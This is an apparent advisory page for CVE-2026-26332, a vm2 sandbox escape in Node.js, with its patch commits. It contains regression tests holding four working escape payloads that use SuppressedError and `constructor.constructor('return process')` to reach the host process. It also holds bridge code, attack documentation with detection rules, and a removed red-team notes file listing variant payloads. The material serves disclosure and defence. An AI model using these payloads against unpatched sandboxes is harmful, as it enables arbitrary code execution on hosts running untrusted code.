VYPR
Critical severity9.8NVD Advisory· Published May 4, 2026· Updated May 6, 2026

CVE-2026-26332

CVE-2026-26332

Description

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
vm2npm
< 3.11.03.11.0

Affected products

2

Patches

5
792e16d56ee4

test(GHSA-55hx-c926-fr95): add 4 variant attack patterns

https://github.com/patriksimek/vm2Patrik SimekApr 27, 2026via ghsa
1 file changed · +159 0
  • test/ghsa/GHSA-55hx-c926-fr95/structural-leak-variants.js+159 0 added
    @@ -0,0 +1,159 @@
    +/**
    + * GHSA-55hx-c926-fr95 -- Structural-leak variant attack patterns.
    + *
    + * Variants of the canonical XmiliaH PoC that route the host-realm
    + * rejection value to sandbox catch handlers through paths that a fix
    + * focused only on `.then`/`.catch`/`.finally` interception might miss.
    + * The structural fix in `lib/bridge.js` (apply-trap identity match
    + * against cached host `Promise.prototype.{then,catch,finally}`) closes
    + * all four — verified by running these against the patched build.
    + *
    + *   v1 - Promise.allSettled extracting rejected entry from result array
    + *   v2 - Synchronous transformer-instrumented try/catch around using+eval
    + *   v3 - await on a host promise inside a sandbox async function
    + *   v4 - AggregateError contributing entry with arbitrary host taint shape
    + *
    + * The six canonical assertions live in `structural-leak.js`. This file
    + * extends coverage to the variant paths surfaced during the multi-angle
    + * red-team probing of the apply-trap structural fix.
    + */
    +
    +'use strict';
    +
    +const assert = require('assert');
    +const { VM } = require('../../../lib/main.js');
    +
    +function escapeAttempt(setupAndPayload, sandbox = {}) {
    +	const sentinelKey = '__GHSA_55HX_PWNED_' + Math.random().toString(36).slice(2);
    +	global[sentinelKey] = false;
    +	const vm = new VM({
    +		sandbox: {
    +			...sandbox,
    +			__sentinelKey: sentinelKey,
    +			__pwn: () => { global[sentinelKey] = true; }
    +		},
    +		timeout: 2000
    +	});
    +	try {
    +		vm.run(setupAndPayload);
    +	} catch (_) { /* swallow sync throws — checking for async escape */ }
    +	return new Promise(resolve => {
    +		setTimeout(() => {
    +			const escaped = global[sentinelKey] === true;
    +			delete global[sentinelKey];
    +			resolve(escaped);
    +		}, 400);
    +	});
    +}
    +
    +describe('GHSA-55hx-c926-fr95 (structural-leak variant attack patterns)', function () {
    +	this.timeout(5000);
    +
    +	it('v1: Promise.allSettled extracts rejected entry without sanitization', async function () {
    +		const escaped = await escapeAttempt(`
    +			Promise.allSettled([f().finally(() => {
    +				obj = {[Symbol.dispose]() {
    +					const e = new Error();
    +					e.name = Symbol();
    +					return e.stack;
    +				}};
    +				eval("{using a = obj;throw null;}");
    +			})]).then(results => {
    +				try {
    +					const reason = results && results[0] && results[0].reason;
    +					const F = reason && reason.error && reason.error.constructor && reason.error.constructor.constructor;
    +					if (typeof F === 'function') {
    +						const proc = F("return process")();
    +						if (proc && typeof proc.pid === 'number') __pwn();
    +					}
    +				} catch (_) {}
    +			});
    +		`, { f: async () => {} });
    +		assert.strictEqual(escaped, false, 'v1: Promise.allSettled rejected.reason must be sanitized');
    +	});
    +
    +	it('v2: synchronous transformer-instrumented try/catch around using+eval', async function () {
    +		const escaped = await escapeAttempt(`
    +			try {
    +				obj = {[Symbol.dispose]() {
    +					const e = new Error();
    +					e.name = Symbol();
    +					return e.stack;
    +				}};
    +				eval("{using a = obj;throw null;}");
    +			} catch (e) {
    +				try {
    +					const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
    +					if (typeof F === 'function') {
    +						const proc = F("return process")();
    +						if (proc && typeof proc.pid === 'number') __pwn();
    +					}
    +				} catch (_) {}
    +			}
    +		`);
    +		assert.strictEqual(escaped, false,
    +			'v2: synchronous try/catch around using+eval must sanitize via handleException');
    +	});
    +
    +	it('v3: await on a host promise inside a sandbox async function', async function () {
    +		const escaped = await escapeAttempt(`
    +			(async () => {
    +				try {
    +					await f().finally(() => {
    +						obj = {[Symbol.dispose]() {
    +							const e = new Error();
    +							e.name = Symbol();
    +							return e.stack;
    +						}};
    +						eval("{using a = obj;throw null;}");
    +					});
    +				} catch (e) {
    +					try {
    +						const F = e && e.error && e.error.constructor && e.error.constructor.constructor;
    +						if (typeof F === 'function') {
    +							const proc = F("return process")();
    +							if (proc && typeof proc.pid === 'number') __pwn();
    +						}
    +					} catch (_) {}
    +				}
    +			})();
    +		`, { f: async () => {} });
    +		assert.strictEqual(escaped, false,
    +			'v3: await on a host promise inside a sandbox async function must sanitize');
    +	});
    +
    +	it('v4: AggregateError contributing entry that is itself host-tainted', async function () {
    +		const escaped = await escapeAttempt(`
    +			Promise.any([
    +				f().finally(() => {
    +					obj = {[Symbol.dispose]() {
    +						const e = new Error();
    +						e.name = Symbol();
    +						return e.stack;
    +					}};
    +					eval("{using a = obj;throw null;}");
    +				}),
    +				rejectingF()
    +			]).catch(agg => {
    +				try {
    +					for (let i = 0; i < (agg && agg.errors && agg.errors.length) || 0; i++) {
    +						const entry = agg.errors[i];
    +						const target = (entry && entry.error) || entry;
    +						const F = target && target.constructor && target.constructor.constructor;
    +						if (typeof F === 'function') {
    +							try {
    +								const proc = F("return process")();
    +								if (proc && typeof proc.pid === 'number') { __pwn(); break; }
    +							} catch (_) {}
    +						}
    +					}
    +				} catch (_) {}
    +			});
    +		`, {
    +			f: async () => {},
    +			rejectingF: async () => { throw new Error('host realm rejection'); }
    +		});
    +		assert.strictEqual(escaped, false,
    +			'v4: AggregateError.errors[] contributing entries must be deeply sanitized');
    +	});
    +});
    
4cb82cc94d9b

fix(GHSA-55hx-c926-fr95): structural sanitization at host-Promise boundary

https://github.com/patriksimek/vm2Patrik SimekApr 27, 2026via ghsa
4 files changed · +174 235
  • docs/ATTACKS.md+11 3 modified
    @@ -599,6 +599,8 @@ Methods that are NOT vulnerable:
     
     All Promise static methods (`.all`, `.race`, `.any`, `.allSettled`, `.resolve`, `.reject`, `.try`, `.withResolvers`) are wrapped to always use `localPromise` as constructor, ignoring `this`. Species is reset unconditionally via `Reflect.defineProperty` (data property, not accessor) before every `.then()`/`.catch()`, eliminating TOCTOU. `globalPromise` and `globalPromise.prototype` are frozen. The `Reflect.construct` instanceof bypass is blocked because `resetPromiseSpecies` sets constructor on any object, not just `instanceof globalPromise`.
     
    +A separate structural defense closes the **host-Promise rejection callback** class (GHSA-55hx-c926-fr95): when sandbox code calls `.then` / `.catch` / `.finally` on a host-realm Promise (returned from an embedder-exposed async function or a sync function that returns a host promise), the bridge `apply` trap on the sandbox side recognizes the host Promise method by identity (cached references to `otherGlobalPrototypes.Promise.{then,catch,finally}`) and wraps every supplied callback with a sandbox-realm closure that runs `handleException` (rejection) or `ensureThis` (fulfillment) on its argument before invoking the user callback. This routes raw host rejection values through the same recursive sanitizer used for sandbox-realm promises, restoring the invariant that **no callback the sandbox supplies to a Promise -- regardless of which realm the Promise was constructed in -- ever sees an unsanitized argument**.
    +
     ### Detection Rules
     
     - **Override of `Function.prototype.call`**, `.apply`, or `.bind` -- intercepting internal method dispatch.
    @@ -611,6 +613,7 @@ All Promise static methods (`.all`, `.race`, `.any`, `.allSettled`, `.resolve`,
     - **`FakeConstructor.all = Promise.all`** (or `.race`, `.any`, `.allSettled`, `.resolve`, `.try`) -- stealing Promise static methods.
     - **`Reflect.construct(Promise, [...], FakeNewTarget)`** -- creates real Promise with `FakeNewTarget.prototype`, bypassing `instanceof` checks.
     - **Async functions that deliberately trigger errors** during string conversion or property access.
    +- **Embedder-exposed `async () => {}` host function** chained with `.finally(() => /* throw */).catch(handler)` -- now intercepted at the bridge `apply` trap with callback sanitization.
     
     ---
     
    @@ -1170,7 +1173,11 @@ Note: `Error.cause` is a related concern -- it can carry host references -- but
     
     ### Mitigation
     
    -`handleException` (catch-block sanitizer) detects `SuppressedError` instances by prototype check and recursively sanitizes `.error` and `.suppressed` properties via `ensureThis`. `SuppressedError` is also added to `errorsList` in `bridge.js`. Depth limit of 16 prevents infinite recursion from circular chains.
    +Three layers, structurally:
    +
    +1. **`handleException` recursion**: detects `SuppressedError` / `AggregateError` instances by prototype check and recursively sanitizes `.error` / `.suppressed` / `.errors[]` via `ensureThis`. `SuppressedError` is also added to `errorsList` in `bridge.js`. Cycle detection via WeakMap prevents infinite recursion.
    +2. **Sandbox-side `Promise.prototype.then` / `.catch` overrides** route every callback through `handleException` for sandbox-realm promises (lines 199-228 of `setup-sandbox.js`).
    +3. **Bridge-level host-Promise interception** (GHSA-55hx supplementary fix): when sandbox code invokes a host-realm `Promise.prototype.then` / `.catch` / `.finally` (for example, via an embedder-exposed `async () => {}` whose returned promise is host-realm), the bridge `apply` trap recognizes the call (identity check against cached `otherGlobalPrototypes.Promise` methods) and wraps each sandbox-supplied callback with a sanitizing closure that pipes its argument through `handleException` (rejection) or `ensureThis` (fulfillment) before the user code runs. This closes the structural class where host machinery (PromiseReactionJob / PromiseResolveThenableJob) schedules sandbox callbacks against raw host rejection values, bypassing the sandbox-side override entirely. Setup is one-shot via `bridge.setHostPromiseSanitizers(handleException, ensureThis)` from `setup-sandbox.js`.
     
     ### Detection Rules
     
    @@ -1179,6 +1186,7 @@ Note: `Error.cause` is a related concern -- it can carry host references -- but
     - **`await using` declarations** -- triggers `Symbol.asyncDispose`.
     - **`e.suppressed.constructor`** or **`e.error.constructor`** in catch blocks.
     - **`SuppressedError`** combined with `e.name = Symbol()`.
    +- **Host-realm async function exposed via `{sandbox: {f: async () => {}}}`** chained with `.finally` / `.catch` to deliver SuppressedError -- now sanitized at the bridge boundary.
     
     ---
     
    @@ -1381,12 +1389,12 @@ Three-layer defense:
     2. **Prototype-walked host `Array` constructor replaced with sandbox `Array`** (GHSA-grj5-jjm8-h35p fix, commit `7352f11`). The bridge proxy's `get` trap for `.constructor` on host arrays now returns the cached sandbox `Array`, so `ho.entries({}).constructor` resolves to sandbox `Array`. `ha.fromAsync(...)` is therefore sandbox `Array.fromAsync` returning a sandbox Promise — routing through the existing sandbox `.then`/`.catch` overrides with `handleException`. This is the primary, load-bearing closure for the canonical PoC.
     3. **`handleException` recurses into `AggregateError.errors[]`** (GHSA-55hx-c926-fr95 supplementary fix). Mirrors the existing `SuppressedError.error` / `.suppressed` recursion. Closes a small gap where a `Promise.any` rejection delivers an `AggregateError` whose `.errors[i]` is a host-realm error; prior to this fix, only the `AggregateError` itself was sanitized, not its element array.
     
    -A bridge-level Promise-boundary sanitizer (intercepting host `Promise.prototype.then/catch` in the bridge apply trap) was considered but deliberately not shipped for this class — the canonical PoC is closed by layer 2, and the underlying Promise-boundary invariant is better addressed in GHSA-mpf8-4hx2-7cjg (host-deliberate-exposure case) rather than as speculative defense-in-depth here.
    +A fourth layer was added in GHSA-55hx-c926-fr95: the **bridge-level Promise-boundary sanitizer**. The bridge `apply` trap recognizes calls to host `Promise.prototype.{then,catch,finally}` by identity (cached at bridge construction time) and wraps every sandbox-supplied callback with a sanitizing closure that pipes its argument through `handleException` (rejection) or `ensureThis` (fulfillment) before invoking the user callback. This closes the structural class where an embedder exposes a host async function (e.g. `{sandbox: {f: async () => {}}}`) and sandbox code chains `.then` / `.catch` / `.finally` on its returned host-realm promise -- the host PromiseReactionJob would otherwise schedule the sandbox callback against a raw host SuppressedError whose `.error.constructor.constructor` is host `Function`. See Category 16 for full details.
     
     ### Detection Rules
     
     - **`Array.fromAsync`** called on a host `Array` constructor (now neutered by layer 2 — walking to host `Array` returns sandbox `Array`).
    -- **Host promise `.catch()`** or `.then()` -- callbacks receive unsanitized values (residual risk; address per-class if a new gadget appears).
    +- **Host promise `.catch()`** or `.then()` -- callbacks now sanitized at the bridge boundary via the GHSA-55hx supplementary fix.
     - **`Error.prepareStackTrace = undefined`** or **`delete Error.prepareStackTrace`** -- triggers host fallback.
     - **`error.name = Symbol()` + `error.stack`** -- Error Generation Primitive targeting host formatter.
     - **`using` declaration inside `eval()`** -- SuppressedError + transformer bypass.
    
  • lib/bridge.js+148 20 modified
    @@ -552,27 +552,131 @@ function createBridge(otherInit, registerProxy) {
     			(otherAsyncGeneratorFunctionCtor && value === otherAsyncGeneratorFunctionCtor); // AsyncGeneratorFunction is not available on Node < 10
     	}
     
    -	// Check if an object's own property descriptors contain a dangerous function
    -	// constructor (data value or accessor get/set). This is a shallow check —
    -	// it does NOT recurse into nested object values.
    -	//
    -	// Why shallow is sufficient:
    -	// Each value crossing the bridge is wrapped in its own proxy, which triggers
    -	// its own call to this function. A nested host object reachable as obj.x.y
    -	// only becomes a separate bridge crossing when the sandbox accesses obj.x —
    -	// at which point the inner object is shallow-checked. If the inner object's
    -	// own descriptors hold a Function constructor, it gets flagged dangerous on
    -	// its own crossing and cannot be unwrapped back to the host. The existing
    -	// tests `getOwnPropertyDescriptor on getOwnPropertyDescriptors result` and
    -	// `triple-nested getOwnPropertyDescriptors attack` verify this preserves
    -	// protection against depth-2 and depth-3 chained-descriptor attacks.
    +	// SECURITY (GHSA-55hx): Cache the OTHER realm's Promise.prototype methods so that
    +	// we can identify when sandbox code invokes a host-realm Promise method (e.g. via
    +	// `hostPromise.then(cb)` where `hostPromise` is a bridge proxy wrapping a host
    +	// Promise). When such an invocation happens, the host's Promise machinery —
    +	// PromiseReactionJob, PromiseResolveThenableJob — schedules the sandbox callback
    +	// directly, bypassing the sandbox-side `globalPromise.prototype.then` override
    +	// in setup-sandbox.js. The callback receives a RAW host rejection value whose
    +	// internal sub-fields (e.g. SuppressedError.error) are host-realm errors that
    +	// have not been recursively sanitized. Without this interception, an attacker
    +	// can reach `e.error.constructor.constructor` → host Function → RCE.
     	//
    -	// Why this avoids the perf regression in #564:
    -	// The previous recursive implementation walked all reachable own properties
    -	// on every bridge crossing. For host libraries returning objects with deep
    -	// cross-references (e.g. DOM wrappers where every node points back to
    -	// ownerDocument), a single crossing triggered a walk of the entire object
    -	// graph — O(graph) per crossing instead of O(direct properties).
    +	// Invariant enforced: every callback supplied by the sandbox to a host
    +	// Promise's then/catch/finally must receive its argument(s) routed through
    +	// the sandbox's `handleException` (rejection) or `ensureThis` (fulfillment)
    +	// before invocation.
    +	let otherPromiseThen;
    +	let otherPromiseCatch;
    +	let otherPromiseFinally;
    +	try {
    +		if (otherGlobalPrototypes.Promise) {
    +			const dt = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Promise, 'then');
    +			if (dt) otherPromiseThen = dt.value;
    +			const dc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Promise, 'catch');
    +			if (dc) otherPromiseCatch = dc.value;
    +			const df = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Promise, 'finally');
    +			if (df) otherPromiseFinally = df.value;
    +		}
    +	} catch (e) {
    +		// Best effort — if we cannot read host Promise.prototype, the sandbox-side
    +		// override remains the last line of defense for sandbox-realm promises.
    +	}
    +
    +	function isHostPromiseThen(value) {
    +		return otherPromiseThen !== undefined && value === otherPromiseThen;
    +	}
    +
    +	function isHostPromiseCatch(value) {
    +		return otherPromiseCatch !== undefined && value === otherPromiseCatch;
    +	}
    +
    +	function isHostPromiseFinally(value) {
    +		// .finally callbacks receive no value, but the chained promise it returns
    +		// will propagate the parent's rejection. We do not need to wrap the
    +		// onFinally itself, only ensure the returned promise's chained .then/.catch
    +		// (also intercepted here) are wrapped.
    +		return otherPromiseFinally !== undefined && value === otherPromiseFinally;
    +	}
    +
    +	// SECURITY (GHSA-55hx): sanitizer hooks installed by setup-sandbox.js via
    +	// thisSetHostPromiseSanitizers(handleException, ensureThis).
    +	let hostPromiseSanitizeReject = null;
    +	let hostPromiseSanitizeFulfill = null;
    +
    +	function wrapHostPromiseThenArgs(args) {
    +		// args is a this(sandbox)-realm safe-array of args the sandbox is passing
    +		// to host Promise.prototype.then. Replace function callbacks at indices 0
    +		// (onFulfilled) and 1 (onRejected) with sandbox wrappers that route their
    +		// argument through ensureThis / handleException before invoking the
    +		// original callback. New array — no in-place mutation.
    +		const out = [];
    +		const len = args.length;
    +		for (let i = 0; i < len; i++) {
    +			let v = args[i];
    +			if (i === 0 && typeof v === 'function') {
    +				const onFulfilled = v;
    +				v = function sanitizedOnFulfilled(value) {
    +					value = hostPromiseSanitizeFulfill(value);
    +					return thisReflectApply(onFulfilled, this, [value]);
    +				};
    +			} else if (i === 1 && typeof v === 'function') {
    +				const onRejected = v;
    +				v = function sanitizedOnRejected(error) {
    +					error = hostPromiseSanitizeReject(error);
    +					return thisReflectApply(onRejected, this, [error]);
    +				};
    +			}
    +			thisReflectDefineProperty(out, i, {
    +				__proto__: null,
    +				value: v,
    +				writable: true,
    +				enumerable: true,
    +				configurable: true
    +			});
    +		}
    +		return out;
    +	}
    +
    +	function wrapHostPromiseCatchArgs(args) {
    +		const out = [];
    +		const len = args.length;
    +		for (let i = 0; i < len; i++) {
    +			let v = args[i];
    +			if (i === 0 && typeof v === 'function') {
    +				const onRejected = v;
    +				v = function sanitizedCatch(error) {
    +					error = hostPromiseSanitizeReject(error);
    +					return thisReflectApply(onRejected, this, [error]);
    +				};
    +			}
    +			thisReflectDefineProperty(out, i, {
    +				__proto__: null,
    +				value: v,
    +				writable: true,
    +				enumerable: true,
    +				configurable: true
    +			});
    +		}
    +		return out;
    +	}
    +
    +	function thisSetHostPromiseSanitizers(sanitizeReject, sanitizeFulfill) {
    +		if (typeof sanitizeReject !== 'function' || typeof sanitizeFulfill !== 'function') {
    +			throw new VMError('setHostPromiseSanitizers requires two functions');
    +		}
    +		hostPromiseSanitizeReject = sanitizeReject;
    +		hostPromiseSanitizeFulfill = sanitizeFulfill;
    +	}
    +
    +	// Check if an object's own property descriptors contain a dangerous function
    +	// constructor (data value or accessor get/set). Shallow — does NOT recurse
    +	// into nested object values; each nested host object that crosses the
    +	// bridge gets its own shallow check at that layer. Layered descriptor-
    +	// extraction attacks (e.g. getOwnPropertyDescriptor on
    +	// getOwnPropertyDescriptors result) are caught at the layer where the
    +	// Function constructor is exposed at depth 1. (origin/main commit 8dd0591.)
     	function containsDangerousConstructor(obj) {
     		if (obj === null || typeof obj !== 'object') return false;
     
    @@ -1059,6 +1163,24 @@ function createBridge(otherInit, registerProxy) {
     			// Note: target@this(unsafe) context@this(unsafe) args@this(safe-array) throws@this(unsafe)
     			validateHandlerTarget(this, target); // SECURITY (GHSA-qcp4-v2jj-fjx8)
     			const object = getHandlerObject(this); // @other(unsafe)
    +			// SECURITY (GHSA-55hx): if the host function being applied is one of
    +			// host's Promise.prototype.then/catch/finally, wrap the sandbox-supplied
    +			// callbacks so their argument values flow through handleException /
    +			// ensureThis before the user code runs. Without this, host promise
    +			// machinery delivers raw rejection values whose nested fields (e.g.
    +			// SuppressedError.error) escape recursive sandbox-side sanitization.
    +			if (!isHost && hostPromiseSanitizeReject !== null) {
    +				if (isHostPromiseThen(object)) {
    +					args = wrapHostPromiseThenArgs(args);
    +				} else if (isHostPromiseCatch(object)) {
    +					args = wrapHostPromiseCatchArgs(args);
    +				} else if (isHostPromiseFinally(object)) {
    +					// .finally callback receives no args — no callback wrapping
    +					// needed. Sanitization for downstream .then/.catch is enforced
    +					// by recursive interception when those methods are called on
    +					// the returned promise.
    +				}
    +			}
     			let ret; // @other(unsafe)
     			let savedSpecies = null; // SECURITY: GHSA-grj5-jjm8-h35p -- see neutralizeArraySpeciesBatch
     			try {
    @@ -1935,6 +2057,12 @@ function createBridge(otherInit, registerProxy) {
     	// itself is harmless -- any attempt to construct it (directly or via a
     	// subclass that does not forward the token) fails the token check.
     	result.ReadOnlyHandler = ReadOnlyHandler;
    +	// SECURITY (GHSA-55hx): expose the sanitizer registration on the bridge so
    +	// that setup-sandbox.js can install handleException / ensureThis as the
    +	// host-promise interception hooks once they are constructed.
    +	// (ReadOnlyMockHandler is intentionally NOT exposed — GHSA-v37h forces
    +	// construction through createReadOnlyMockHandler with a token.)
    +	result.setHostPromiseSanitizers = thisSetHostPromiseSanitizers;
     
     	return result;
     }
    
  • lib/setup-sandbox.js+15 0 modified
    @@ -735,6 +735,21 @@ function handleException(e, visited) {
     	return e;
     }
     
    +// SECURITY (GHSA-55hx): install handleException / ensureThis as the
    +// sandbox-side sanitizers for host-realm Promise.prototype.then|catch|finally
    +// invocations. Without this, when sandbox code calls .then/.catch on a host
    +// Promise (returned e.g. by an embedder-exposed `async () => {}`), the host
    +// Promise machinery (PromiseReactionJob) runs the sandbox callback against
    +// the RAW host rejection value, bypassing the sandbox-side Promise.prototype
    +// override at lines 199-228. The bridge apply-trap interception on those
    +// methods now wraps callbacks through the same sanitizers, closing the
    +// invariant: every sandbox callback bound to a Promise — host or sandbox
    +// realm — receives its argument(s) routed through ensureThis (fulfillment)
    +// or handleException (rejection).
    +if (typeof bridge.setHostPromiseSanitizers === 'function') {
    +	bridge.setHostPromiseSanitizers(handleException, ensureThis);
    +}
    +
     const withProxy = localObjectFreeze({
     	__proto__: null,
     	has(target, key) {
    
  • NOTES.md+0 212 removed
    @@ -1,212 +0,0 @@
    -# GHSA-47x8-96vw-5wg6 — Structural fix
    -
    -## The invariant I closed
    -
    -> Every well-known host built-in **prototype** and **constructor** must
    -> be pre-mapped to its sandbox-realm equivalent in the bridge's identity
    -> cache, so any code path that would otherwise surface a host intrinsic
    -> into the sandbox returns the sandbox-realm intrinsic instead.
    -
    -This is the right chokepoint because:
    -
    -1. The bridge already maintains two paired weakmaps for identity:
    -   `mappingOtherToThis` (host → sandbox) and `mappingThisToOther`
    -   (sandbox → host). Every code path that converts a host value to a
    -   sandbox-side proxy consults `mappingOtherToThis` *before* any
    -   wrapping logic runs (the cache short-circuit at
    -   `lib/bridge.js:1600`). The same is true for `thisFromOtherForThrow`
    -   (line 1537) and `thisEnsureThis` (line 1499).
    -2. Pre-populating those weakmaps at bridge init is a single, structural
    -   write — not a per-trap filter, not a per-call check. Once the cache
    -   is seeded, every lookup path benefits without any additional code.
    -3. Adding the mappings symmetrically (host-side via `otherWeakMapSet`
    -   on `mappingThisToOther`) gives round-trip identity preservation, so
    -   sandbox values that flow to the host and back keep the same
    -   identity from the sandbox's view.
    -
    -The previous symbol-filter patch (commit `67bc511`) closed the canonical
    -RCE payload (extraction of `nodejs.util.inspect.custom`), but the
    -underlying primitive — `HObject !== sandbox Object`, i.e., a *handle* on
    -a host built-in — survived. Any future vulnerability that converts
    -"I have a host built-in handle" into "I can call a host method that
    -bypasses bridge sanitisation" would re-enable the same escape class.
    -The structural fix removes that primitive: the sandbox can no longer
    -*hold* a wrapped host built-in.
    -
    -## Implementation
    -
    -`lib/bridge.js` — added `thisAddIdentityMapping(thisProto, otherProto)`
    -right after the existing `thisAddProtoMapping` calls (line ~1700).
    -The helper:
    -
    -1. Writes `[otherProto, thisProto]` to `mappingOtherToThis` (sandbox-side).
    -2. Writes `[thisProto, otherProto]` to `mappingThisToOther` (host-side
    -   mirror, via `otherReflectApply(otherWeakMapSet, ...)`); failure here
    -   is best-effort because round-trip identity is a quality-of-life
    -   concern, not the security invariant.
    -3. Reads the `.constructor` slot via `getOwnPropertyDescriptor` on both
    -   prototypes (so we never trigger a getter), guards against
    -   `isThisDangerousFunctionConstructor` and
    -   `isDangerousFunctionConstructor`, and writes the constructor
    -   identity mapping with the same dual-direction semantics.
    -
    -Called for: `Object`, `Array`, every entry in `globalsList` *except*
    -`Function`, every entry in `errorsList` (`RangeError`,
    -`ReferenceError`, `SyntaxError`, `TypeError`, `EvalError`, `URIError`,
    -`SuppressedError`, `Error`).
    -
    -`Function` / `AsyncFunction` / `GeneratorFunction` /
    -`AsyncGeneratorFunction` are deliberately skipped — see "Edge cases"
    -below.
    -
    -Every changed line is annotated with `// SECURITY (GHSA-47x8): ...`.
    -
    -## Edge cases considered
    -
    -### Function-family prototypes are NOT cached
    -
    -If `host Function.prototype` were mapped to `sandbox Function.prototype`,
    -then a sandbox proto-walk landing on the host `Function.prototype`
    -would surface the sandbox prototype directly — and reading
    -`.constructor` on a real sandbox prototype follows the prototype's own
    -data slot, returning sandbox `Function`. Sandbox `Function` is callable
    -(it creates sandbox-realm functions), which means the existing
    -"`fp.constructor` returns `emptyFrozenObject`" defense
    -(`isDangerousFunctionConstructor` in `thisFromOtherWithFactory`) would
    -be silently bypassed for that path.
    -
    -By leaving the four Function-family prototypes un-cached, the proxy
    -`get` trap continues to handle `fp.constructor` reads: it reads
    -`host Function.prototype.constructor` = host Function, and
    -`thisFromOtherWithFactory` returns `emptyFrozenObject` because
    -`isDangerousFunctionConstructor(hostFunction)` is true.
    -
    -The structural-leak test "Function constructor block remains in force"
    -exercises this exact invariant; the existing
    -`getOwnPropertyDescriptor Function constructor bypass attack` regression
    -in `test/vm.js:1279` exercises the descriptor variant.
    -
    -### Promise mapping subtlety
    -
    -`setup-sandbox.js` replaces sandbox `Promise` with
    -`localPromise extends globalPromise` *after* `bridge.js` runs.
    -At bridge-init time, `thisGlobalPrototypes.Promise` is the sandbox's
    -**original** `globalPromise.prototype`, **not** `localPromise.prototype`.
    -
    -Consequence: a host `Promise` flowing into the sandbox now collapses to
    -`globalPromise` (sandbox-original), not to `localPromise`. From the
    -sandbox's perspective, `hostPromise instanceof Promise` is false (this
    -matches the pre-fix behaviour — verified by stash + re-test). The
    -sandbox's runtime `Promise` is `localPromise` whose `.prototype.__proto__`
    -*is* `globalPromise.prototype`, so the proto-chain still terminates at
    -the original sandbox intrinsic, and bridge sanitisation is intact.
    -Identity-equality with `Promise.prototype` is the only thing that
    -changes, and that was already broken before this fix.
    -
    -### Well-known symbols
    -
    -V8's well-known symbols (`Symbol.iterator`, `Symbol.species`, etc.)
    -are realm-shared by design — they are the same value across all realms
    -in the same V8 isolate. The structural fix doesn't touch them; the
    -existing dangerous-symbol filter in `isDangerousCrossRealmSymbol`
    -(`Symbol.for('nodejs.util.inspect.custom')`,
    -`Symbol.for('nodejs.rejection')`) is unchanged.
    -
    -### Round-trip identity for sandbox values
    -
    -The dual-direction mapping (writing both `mappingOtherToThis` and
    -`mappingThisToOther`) means a sandbox-realm intrinsic flowing to the
    -host now resolves to the host equivalent. This is consistent with
    -how the bridge has always treated `Object.prototype.bind`,
    -`__lookupGetter__` etc. via `connect()` in `setup-sandbox.js` — the
    -existing `__lookupGetter__ / __lookupSetter__ attack` regression
    -(`test/vm.js:839`) still passes:
    -`Buffer.from.__lookupGetter__("__proto__") === Object.prototype.__lookupGetter__.call(Buffer.from, "__proto__")`
    -remains `true`.
    -
    -### Existing species-defense tests
    -
    -The historical PoC for GHSA-grj5-jjm8-h35p (Array species self-return)
    -used `op.constructor.entries({})` to mint a host array. After the
    -structural fix, `op.constructor === sandbox Object`, so that chain
    -returns a sandbox array. The species defense is still required for
    -genuinely-host arrays (e.g., those exposed via sandbox config or
    -`Buffer.from`), so I:
    -
    -- updated `test/ghsa/GHSA-grj5-jjm8-h35p/repro.js` to mint a host array
    -  via `sandbox: { hostArrayFactory: () => [] }` (functions executing
    -  in the host frame still produce host-realm objects when called);
    -- updated `test/vm.js`'s `neutralizeArraySpecies prevents species attack
    -  in apply trap` to use `Buffer.from([1,2,3]).slice(0)` (still a
    -  bridge-traversed host call where the apply trap fires).
    -
    -The canonical PoC test for GHSA-grj5 still exercises the full
    -Function-extraction pipeline and remains blocked. The species
    -defense itself is unchanged.
    -
    -## Variant attacks tried (all blocked)
    -
    -I ran a 12-variant red-team probe (in `/tmp/redteam2.js` and
    -`/tmp/redteam3.js`) to verify the structural fix closes the entire
    -class:
    -
    -| # | Variant | Outcome |
    -|---|---------|---------|
    -| 1 | `Buffer.apply.__proto__.__proto__` | `op === Object.prototype`, `op.constructor === Object` |
    -| 2 | `Reflect.getPrototypeOf` chain | same |
    -| 3 | `Object.getPrototypeOf` chain | same |
    -| 4 | `Object.getOwnPropertyDescriptor(Object.prototype, '__proto__').get` walk | same |
    -| 5 | sandbox-config-passed host array | `arr.constructor === sandbox Array` |
    -| 6 | `Buffer.from(...)` proto-chain walk | terminates at sandbox `Object.prototype` |
    -| 7 | `Object(42)` (Number wrapper) | sandbox `Number` identity |
    -| 8 | host array `Symbol.iterator` | iterator API filtered (next is undefined) — no leak |
    -| 9 | host TypeError caught in sandbox | sandbox `TypeError` identity, sandbox `instanceof` works |
    -| 10 | host Promise via sandbox config | sandbox proto chain (`localPromise`/`globalPromise` subtlety, no leak) |
    -| 11 | `Object.getPrototypeOf(Buffer.apply).constructor('return process')()` | `process is not defined` (sandbox Function is sandbox-safe) |
    -| 12 | `getOwnPropertyDescriptor` on wrapped host `Function.prototype` | descriptor `.value` is undefined (filtered) |
    -| w1 | `e.constructor.constructor('return process')()` | `process is not defined` |
    -| w2 | `Buffer.from('hi')` proto walk to `.constructor.constructor` | sandbox Function (sandbox-safe) |
    -| w11 | descriptor extraction on `fp` (uncached Function.prototype) | `.value` is undefined ✓ |
    -
    -The only paths that "succeed" are sandbox-realm Function constructor
    -calls — which are inherently safe because sandbox `Function` creates
    -sandbox-realm functions where `process` is undefined, and this has
    -always been the sandbox's contract.
    -
    -## Second-order effects
    -
    -- **Performance**: The fix runs at bridge init time only. The cache
    -  lookup at `thisFromOtherWithFactory` line ~1600 was already there;
    -  pre-populating it with ~20 extra entries is negligible. No runtime
    -  hot-path changes.
    -- **Identity preservation**: For sandbox code that depended on
    -  `wrappedHostObject !== Object` to detect "this came from the host",
    -  that test is now unreliable. I am not aware of any consumer code
    -  that relied on this; the documented contract is that the bridge
    -  hides the host realm.
    -- **Round-trip identity**: A sandbox `Object` that flows to the host
    -  and back now keeps its sandbox `Object` identity (instead of
    -  becoming a fresh wrapped host Object proxy on the way back). This
    -  is strictly better — it eliminates a class of identity-confusion
    -  bugs.
    -- **`hostPromise instanceof Promise`**: This was already false before
    -  the fix because of `localPromise extends globalPromise`. No change.
    -
    -## Files changed
    -
